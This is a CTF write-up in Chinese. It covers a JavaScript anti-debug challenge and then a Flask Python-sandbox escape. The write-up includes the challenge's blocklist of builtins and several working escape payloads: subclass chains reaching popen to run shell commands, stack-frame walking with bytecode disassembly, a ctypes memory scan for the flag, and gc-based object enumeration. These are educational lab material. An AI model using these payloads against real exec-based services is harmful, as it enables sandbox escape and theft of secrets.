于是我们去把当前页面的相关js文件保存到本地,然后在 eval 前手动改变这两个函数的返回值
Math.random=()=>1;
console.clear=()=>0;
然后访问本地html,看一下控制台就得到flag(别用firefox,会变得不幸)
菜狗工具#2 (复现)
webpwn?
源码
from flask import *
import io
import time
app = Flask(__name__)
black_list = [
'__build_class__', '__debug__', '__doc__', '__import__',
'__loader__', '__name__', '__package__', '__spec__', 'SystemExit',
'breakpoint', 'compile', 'exit', 'memoryview', 'open', 'quit', 'input'
]
new_builtins = dict([
(key, val) for key, val in __builtins__.__dict__.items() if key not in black_list
])
flag = "flag{xxxxxxxxx}"
flag = "DISPOSED"
@app.route("/")
def index():
return redirect("/static/index.html")
@app.post("/run")
def run():
out = io.StringIO()
script = str(request.form["script"])
def wrap_print(*args, **kwargs):
kwargs["file"] = out
print(*args, **kwargs)
new_builtins["print"] = wrap_print
try:
exec(script, {"__builtins__": new_builtins})
except Exception as e:
wrap_print(e)
ret = out.getvalue()
out.close()
return ret
time.sleep(5) # current source file is deleted
app.run('0.0.0.0', port=9001)
大概是会自己删源码
hint:
这个是python的字节码
前面的payload依旧可以打,但是app.py被删了
尝试弹shell,好像不出网
读字节码,参考https://www.leavesongs.com/PENETRATION/pwnhub-web-classroom-django-sql-injection.html
print("".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']("cat /usr/share/python3/__pycache__/py3versions.cpython-38.pyc|base64").read())
得到base64编码后的py3versions.cpython-38.pyc(等下应该不是这个源码)
没啥有用的,摆
官方解法(继承链)
首先题目环境在 chroot jail 中,没有 /proc 目录,不能通过读文件的方式读内存
源文件在 python 把服务跑起来后就删除了,而要获得被覆写的 flag 内容只剩一个地方可以找,就是依靠 python 解析自身进程的内存
那么我们先需要拿到__builtins__
来导入模块,离谱的是这里是从print
拿的__globals__
属性,但是我本地的没有
cpython 的实现中暴露了获取 python 栈帧的方法,而每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧,而对 flag 的赋值的字节码肯定存在于某个栈帧中,我们只需要用f_back
从当前栈帧向上找就行了
这里因为源码里对flag重复赋值了一次导致直接查app.py的f_globals
得不到flag
需要对其栈帧进行反汇编拿到初次赋值的flag
out = io.StringIO() # 内存创建字符串I/O流
dis.dis(frame.f_code,file=out) # 将当前堆栈帧所对应的函数的字节码进行反汇编
content = out.getvalue() #获取反汇编的结果
out.close()
print(content)
最终payload:
sys = print.__globals__["__builtins__"].__import__('sys')
io = print.__globals__["__builtins__"].__import__('io')
dis = print.__globals__["__builtins__"].__import__('dis')
threading = print.__globals__["__builtins__"].__import__('threading')
print(threading.enumerate()) #获取所有活跃线程
print(threading.main_thread()) #获取主线程
print(threading.main_thread().ident) # 获取主线程标识符
print(sys._current_frames()) # 获取所有线程的堆栈帧对象
print(sys._current_frames()[threading.main_thread().ident]) #获取到主线程的堆栈帧对象
frame = sys._current_frames()[threading.main_thread().ident]
while frame is not None:
out = io.StringIO() # 内存创建字符串I/O流
dis.dis(frame.f_code,file=out) # 将当前堆栈帧所对应的函数的字节码进行反汇编
content = out.getvalue() #获取反汇编的结果
out.close()
print(content)
frame = frame.f_back
栈帧逃逸+ctypes解法
晨曦✌的思路:
可以利用指针,把内存的内容读出来,但需要定位一个大致的范围,盲目读取浪费时间
先利用栈帧逃逸到全局,这样就能拿__builtins__
和被覆盖后的flag
的地址(这里可以参考L3HCTF2024 intractable problem)
全局flag
的地址用id()
读出来即可
接着是利用ctypes
模块的指针,用id()
将flag
地址周围的值读一下,用ctypes.cast
实现一个从内存读源码的操作
ctypes.cast(obj, type)
此函数类似于 C 的强制转换运算符。 它返回一个 type 的新实例,该实例指向与 obj 相同的内存块。 type 必须为指针类型,而 obj 必须为可以被作为指针来解读的对象。
这里用了 char 指针,读出来的是一个字符串,再加上flag头作为判断,可以很快读出flag
每次位移8的倍数。(可以自行对比任意两个变量的地址,可以发现它们的差值都是8的倍数)
payload:
def f():
yield g.gi_frame.f_back.f_back
g = f()
frame = [x for x in g][0]
b = frame.f_back.f_globals
flag_id=id(b['flag'])
ctypes = b["__builtins__"].__import__('ctypes')
#print(ctypes)
for i in range(10000):
txt = ctypes.cast((flag_id-8*i),ctypes.c_char_p).value
if b"flag{" in txt:
print(txt)
break
gc解法
由于过滤了__import__
,这里要自己找一个能加载模块的类
最后选择了_frozen_importlib.BuiltinImporter
这个可以导入内置模块的查找器
print([].__class__.__base__.__subclasses__()[84].load_module('gc').get_objects())
对象太多了,别急(
@Welcome
flag{have_fun_in_9th_bluewhale_ctf}